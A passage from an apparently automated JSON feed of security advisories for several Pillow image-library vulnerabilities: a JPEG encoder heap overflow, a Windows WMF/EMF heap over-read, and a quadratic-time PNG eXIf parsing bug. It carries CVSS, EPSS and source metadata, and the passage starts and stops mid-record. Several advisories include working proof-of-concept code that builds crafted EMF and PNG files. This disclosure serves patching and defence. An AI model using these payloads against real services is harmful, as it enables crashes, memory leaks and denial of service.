page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-39m8-27wv-hr27, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-39m8-27wv-hr27, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-110871","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-110871","type":"primary","publishedAt":"2026-10-14T23:17:28.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-110871&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-110871, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96778","cveId":"CVE-2026-96778","aliases":["GHSA-g7cr-3p24-7wf7"],"kind":"vulnerability","title":"Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer","summary":"```\n============================================================================\nHeap buffer overflow writing JPEG comment after ICC profile fills buffer\nLocation: src/libImaging/JpegEncode.c:330 in ImagingJpegEncode()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA heap buffer overflow in Pillow's JPEG encoder lets anyone who can supply an image write up to 64 KB of bytes they choose, followed by the rest of the compressed image, past the end of a 64 KB heap buffer. The target is any application that re-saves the image as JPEG while keeping its colour profile. The reliable result is that the Python process is killed outright rather than raising an exception. Because the overwritten memory sits directly in front of function pointers that the encoder calls next, this could allow code execution, though the attached reproducer demonstrates only the crash.","detail":"```\n============================================================================\nHeap buffer overflow writing JPEG comment after ICC profile fills buffer\nLocation: src/libImaging/JpegEncode.c:330 in ImagingJpegEncode()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA heap buffer overflow in Pillow's JPEG encoder lets anyone who can supply an image write up to 64 KB of bytes they choose, followed by the rest of the compressed image, past the end of a 64 KB heap buffer. The target is any application that re-saves the image as JPEG while keeping its colour profile. The reliable result is that the Python process is killed outright rather than raising an exception. Because the overwritten memory sits directly in front of function pointers that the encoder calls next, this could allow code execution, though the attached reproducer demonstrates only the crash.\n\nThe bug is in `ImagingJpegEncode()` in `src/libImaging/JpegEncode.c`. State 4 (line 330) calls `jpeg_write_marker()` for the COM comment marker without checking that the output buffer has room. Meanwhile, `JpegImagePlugin._save()` sizes that buffer from the EXIF and ICC/XMP data only and reserves nothing for the comment. When a 65498-byte ICC profile fills the 65536-byte buffer exactly, libjpeg's `emit_byte()` stores one byte past the end and then decrements `free_in_buffer` from 0. The `size_t` counter wraps, so the marker, the comment and the entire compressed image are written out of bounds.\n\nTriggering it takes only a valid JPEG (or PNG) carrying that profile and any comment, passed through `Image.open()` and then `im.save(..., \"JPEG\", icc_profile=im.info.get(\"icc_profile\"))`. That is the documented way to preserve colour. The comment is forwarded from `im.info` automatically, and no non-default setting is involved.\n\nThe attached reproducer re-saves such a file on the stock build, and the process dies with SIGSEGV. An identical file without the comment saves normally. An ASan build of Pillow will not flag this, because the stray writes happen inside the system libjpeg-turbo. Valgrind does report it, as an invalid write immediately after the 65569-byte allocation.\n\nThe unguarded call was introduced in e50ae85ea406 (\"Use jpeg_write_marker to write comment\", 2022-12-05) and first shipped in 9.4.0.\n\n## Details\n\n`ImagingJpegEncode()` (`src/libImaging/JpegEncode.c`) is a resumable state machine that fills a caller-supplied output buffer of `bytes` bytes and returns when it is full. State 4 writes the JPEG COM marker with `jpeg_write_marker()` without first checking that the buffer has any room left. When the preceding state 3 — the verbatim copy of the \"extra\" APP segments (ICC profile / XMP) — ends exactly at the last byte of the buffer, `jpeg_write_marker()` is entered with `free_in_buffer == 0`. libjpeg's `emit_byte()` stores the byte first and tests `--free_in_buffer == 0` afterwards, so the `size_t` counter wraps to 2^64-1 instead of triggering the \"buffer full\" path, and the 4-byte marker header, the whole comment, and then (state 5) the DQT/SOF/DHT/SOS headers and the entire entropy-coded image are written linearly past the end of the 65536-byte heap buffer allocated in `src/encode.c`.\n\nA JPEG laid out as\n\n```\nFFD8 SOI\nFFE2 \"ICC_PROFILE\\0\" 01 01 -> im.info[\"icc_profile\"]\nFFFE -> im.info[\"comment\"]\n \n```\n\nopened with `Image.open()` and re-saved with the usual colour-profile-preserving call\n\n```python\nim.save(out, \"JPEG\", icc_profile=im.info.get(\"icc_profile\"))\n```\n\nkills the Python process on the stock build at this commit: glibc aborts with `realloc(): invalid next size` / `corrupted size vs. prev_size`, or the process takes SIGSEGV inside `jpeg_write_marker`/`jpeg_write_scanlines`. Stopping at `JpegEncode.c:330` in gdb shows `next_output_byte - buf == 65536`, `free_in_buffer == 0`, `comment_size == 65533` before the call, and `next_output_byte - buf == 131073`, `free_in_buffer == 18446744073709486079` after it — 65537 bytes already written beyond a 65536-byte buffer before a single scanline has been encoded. An ASan build of Pillow does not flag this, because the out-of-bounds stores happen inside the (uninstrumented) system libjpeg-turbo; valgrind does, reporting `Invalid write ... 0 bytes after a block of size 65,569` from `jpeg_write_marker` called at `JpegEncode.c:330` before aborting on the corrupted heap metadata.\n\n### Code path\n\nThe buffer. `JpegImagePlugin._save()` sizes the encoder buffer from the metadata it is about to emit, allowing one spare byte after the extra block and nothing for the comment:\n\n```python\n# src/PIL/JpegImagePlugin.py:859-862\n else:\n # The EXIF info needs to be written as one block, + APP1, + one spare byte.\n # Ensure that our buffer is big enough. Same with the icc_profile block.\n bufsize = max(len(exif) + 5, len(extra) + 1)\n```\n\n`ImageFile._save()` then takes `max(MAXBLOCK, bufsize, width*4)` (`src/PIL/ImageFile.py:662`, `MAXBLOCK = 65536`), and `_encode()` allocates exactly that: `buf = PyBytes_FromStringAndSize(NULL, bufsize)` (`src/encode.c:134`; the real-file path `_encode_to_file()` does `malloc(bufsize)` at `src/encode.c:190`). For the input above `len(extra) == 65516`, so the buffer is 65536 bytes. The `optimize`/`progressive` branch just above (`JpegImagePlugin.py:846-858`) is not immune: its `bufsize` adds `w*h` (or `2*w*h`), but the image dimensions and the ICC length both come from the file, so an exact fit is still constructible there (e.g. with a 19×1 image).\n\nThe \"+1 spare byte\" does not account for what libjpeg itself has already put in the buffer: in state 1 `jpeg_start_compress(&cinfo, TRUE)` (`JpegEncode.c:279`) emits SOI + JFIF APP0, 20 bytes for an RGB source. State 3 then copies the extra block, clamped to the space remaining:\n\n```c\n// src/libImaging/JpegEncode.c:302-337\n case 3:\n if (context->extra) {\n unsigned int n = context->extra_size - context->extra_offset;\n if (n > context->destination.pu\n\nAffected package ranges reported by GitHub:\nPillow: >= 9.4.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:05:39.000Z","updatedAt":"2026-10-22T16:46:48.920Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96778","asOf":"2026-10-22T16:46:48.920Z"},"epss":{"probability":0.00504,"percentile":0.42778,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96778&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-g7cr-3p24-7wf7","url":"https://github.com/advisories/GHSA-g7cr-3p24-7wf7","type":"primary","publishedAt":"2026-10-22T16:05:39.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-g7cr-3p24-7wf7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-g7cr-3p24-7wf7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-g7cr-3p24-7wf7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-g7cr-3p24-7wf7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-g7cr-3p24-7wf7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-g7cr-3p24-7wf7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-g7cr-3p24-7wf7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-g7cr-3p24-7wf7, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-g7cr-3p24-7wf7, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-96778","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96778","type":"primary","publishedAt":"2026-10-21T21:20:33.093Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96778&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96778, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96644","cveId":"CVE-2026-96644","aliases":["GHSA-9v9v-9qvf-h2hj"],"kind":"vulnerability","title":"Pillow: Heap over-read in WMF/EMF rendering via 16-bit dimension truncation (Windows builds)","summary":"- `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.\n\nIn the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:","detail":"### Summary\nOn Windows builds, Pillow stores EMF and WMF image dimensions without a range check and passes them to the native `drawwmf` handler. That code sizes its allocation from dimensions truncated into 16-bit header fields but copies the result using the full 32-bit dimensions. A crafted metafile that is wide and short passes the decompression-bomb pixel check yet causes a heap over-read.\n\n### Details\nThe EMF branch computes the size straight from signed 32-bit header fields and stores it with no positivity or range check:\n\n- `src/PIL/WmfImagePlugin.py:121-129` reads the bounding box; `:148` stores it; the size reaches the native handler through `src/PIL/WmfImagePlugin.py:56`.\n\nIn the native handler the DIB header fields `bcWidth` and `bcHeight` are 16-bit and truncate the allocation, while the copy length uses the untruncated ints:\n\n- `src/display.c:793-794` assign the 16-bit fields\n- `src/display.c:800` sizes the allocation from them\n- `src/display.c:827` copies `height * ((width * 3 + 3) & -4)` bytes using the full values\n\nThe whole handler is compiled only on Windows (`#ifdef _WIN32`, `src/display.c:33-841`).\n\n### PoC\n```python\nimport struct\nfrom PIL import Image\n\ndef L(v):\n return struct.pack(\"<i\", v)\n\n# Minimal EMF header. Bounding box is 70000 x 1, so the pixel count (70000) passes the\n# decompression-bomb check, but the width truncates to 16 bits for the allocation while\n# the copy uses 70000.\nemf = b\"\\x01\\x00\\x00\\x00\" + L(88) # record type + size\nemf += L(0) + L(0) + L(70000) + L(1) # rclBounds: x0, y0, x1, y1\nemf += L(0) + L(0) + L(100) + L(100) # rclFrame (non-zero, used for the dpi calc)\nemf += b\" EMF\" # signature at offset 40\nemf += bytes(44)\nopen(\"poc.emf\", \"wb\").write(emf)\n\nim = Image.open(\"poc.emf\")\nprint(\"size:\", im.size, \"pixels:\", im.size[0] * im.size[1])\nim.load() # over-read happens here on a Windows build\n```\n\nOn Linux the first part is observable: the 88-byte file opens, `size` is `(70000, 1)`, and the bomb check passes. The native over-read only exists on Windows because `Image.core.drawwmf` is compiled out elsewhere (on Linux `im.load()` raises `OSError` instead).\n\n### Impact\nCWE-125, out-of-bounds read in a C extension on Windows builds. A crafted EMF or WMF that passes the pixel check can read past a heap buffer, leaking memory or crashing the process.\n\nAffected package ranges reported by GitHub:\nPillow: < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:03:14.000Z","updatedAt":"2026-10-22T16:46:48.920Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96644","asOf":"2026-10-22T16:46:48.920Z"},"epss":{"probability":0.00412,"percentile":0.35123,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96644&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-9v9v-9qvf-h2hj","url":"https://github.com/advisories/GHSA-9v9v-9qvf-h2hj","type":"primary","publishedAt":"2026-10-22T16:03:14.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-9v9v-9qvf-h2hj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-9v9v-9qvf-h2hj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-9v9v-9qvf-h2hj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-9v9v-9qvf-h2hj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-9v9v-9qvf-h2hj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-9v9v-9qvf-h2hj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-9v9v-9qvf-h2hj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-9v9v-9qvf-h2hj, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-9v9v-9qvf-h2hj, its actual identifiers, source dates, and structured metrics."},{"name":"NVD CVE-2026-96644","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96644","type":"primary","publishedAt":"2026-10-21T21:20:32.943Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96644&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96644, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96643","cveId":"CVE-2026-96643","aliases":["GHSA-g4qv-2jxx-769h"],"kind":"vulnerability","title":"Pillow: PNG eXIf chunk makes EXIF parsing run in quadratic time","summary":"### Details\n `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:\n\n ```python\n while data and data.startswith(b\"Exif\\x00\\x00\"):\n data = data[6:]\n ```","detail":"### Summary\n A PNG file with a large eXIf chunk full of repeated 6-byte markers makes Pillow's EXIF parser take seconds of CPU instead of milliseconds. The cost grows with the square of the chunk size, so a normal small-photo-sized file is enough to cause real delay.\n\n ### Details\n `Exif.load()` in `src/PIL/Image.py` strips a marker from the start of the EXIF data like this:\n\n ```python\n while data and data.startswith(b\"Exif\\x00\\x00\"):\n data = data[6:]\n ```\n\n Each pass makes a new copy of the remaining data. A real camera writes this marker once, so this is not normally a problem.\n\n `chunk_eXIf()` in `src/PIL/PngImagePlugin.py` puts the raw PNG eXIf chunk straight into `info[\"exif\"]` with no size limit and no check of its content. PNG text chunks (tEXt, zTXt, iTXt) are capped with `MAX_TEXT_CHUNK` and `MAX_TEXT_MEMORY`. The eXIf chunk has no such cap.\n\n If the eXIf chunk is filled with repeated `Exif\\x00\\x00` markers instead of real EXIF data, the strip loop runs once per marker, copying a large buffer each time. This is a classic quadratic time bug.\n\n ### Steps to reproduce\n This builds a small PNG in memory and times `Image.open().getexif()` on it. No external file needed.\n\n ```python\n import time\n from io import BytesIO\n from PIL import Image, PngImagePlugin\n\n def chunk(cid, *data):\n fp = BytesIO()\n PngImagePlugin.putchunk(fp, cid, *data)\n return fp.getvalue()\n\n MAGIC = PngImagePlugin._MAGIC\n IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n IDAT = chunk(b\"IDAT\")\n IEND = chunk(b\"IEND\")\n\n marker = b\"Exif\\x00\\x00\"\n exif_chunk = chunk(b\"eXIf\", marker * 300_000) # 1.8MB, all markers\n data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n\n start = time.time()\n with Image.open(BytesIO(data)) as im:\n im.getexif()\n print(\"took\", time.time() - start, \"seconds\")\n ```\n\n Expected output on a fixed version: well under 0.1 seconds, the same as a normal file this size.\n\n Actual output on the current code: around 3.5 to 3.7 seconds, for a single 1.8MB file. We checked with a prohis time is spent inside the strip loop itself, not somewhere else. We also checked the growth rate across a\n few sizes (200KB, 600KB, 1.2MB, 1.8MB) and it matches quadratic growth closely, not linear.\n\n A pytest version of this test, using `pytest-timeout` so a test run does not hang if the bug is present, is it fails with `Failed: Timeout (>2.0s) from pytest-timeout`.\n\n ```python\n import pytest\n from io import BytesIO\n from PIL import Image, PngImagePlugin\n\n def chunk(cid, *data):\n fp = BytesIO()\n PngImagePlugin.putchunk(fp, cid, *data)\n return fp.getvalue()\n\n MAGIC = PngImagePlugin._MAGIC\n IHDR = chunk(b\"IHDR\", PngImagePlugin.o32(1), PngImagePlugin.o32(1), b\"\\x08\\x02\", b\"\\0\\0\\0\")\n IDAT = chunk(b\"IDAT\")\n IEND = chunk(b\"IEND\")\n\n @pytest.mark.timeout(2)\n def test_exif_load_is_not_quadratic():\n marker = b\"Exif\\x00\\x00\"\n exif_chunk = chunk(b\"eXIf\", marker * 300_000)\n data = MAGIC + IHDR + exif_chunk + IDAT + IEND\n with Image.open(BytesIO(data)) as im:\n im.getexif()\n ```\n\n ### Impact\n - Availability: an attacker who can get one PNG file processed can burn several seconds of CPU per request w A bigger file scales worse, since the cost is quadratic, not linear.\n - Confidentiality: none.\n - Integrity: none.\n - This fires through `Image.getexif()`, `Image._getexif()`, and `ImageOps.exif_transpose()`. `exif_transpose()` is the function Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.\n\nAffected package ranges reported by GitHub:\nPillow: >= 11.0.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-22T16:02:39.000Z","updatedAt":"2026-10-23T22:17:01.590Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96643","asOf":"2026-10-23T22:17:01.590Z"},"epss":{"probability":0.00429,"percentile":0.36838,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96643&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-g4qv-2jxx-769h","url":"https://github.com/advisories/GHSA-g4qv-2jxx-769h","type":"primary","publishedAt":"2026-10-22T16:02:39.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-g4qv-2jxx-769h, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API 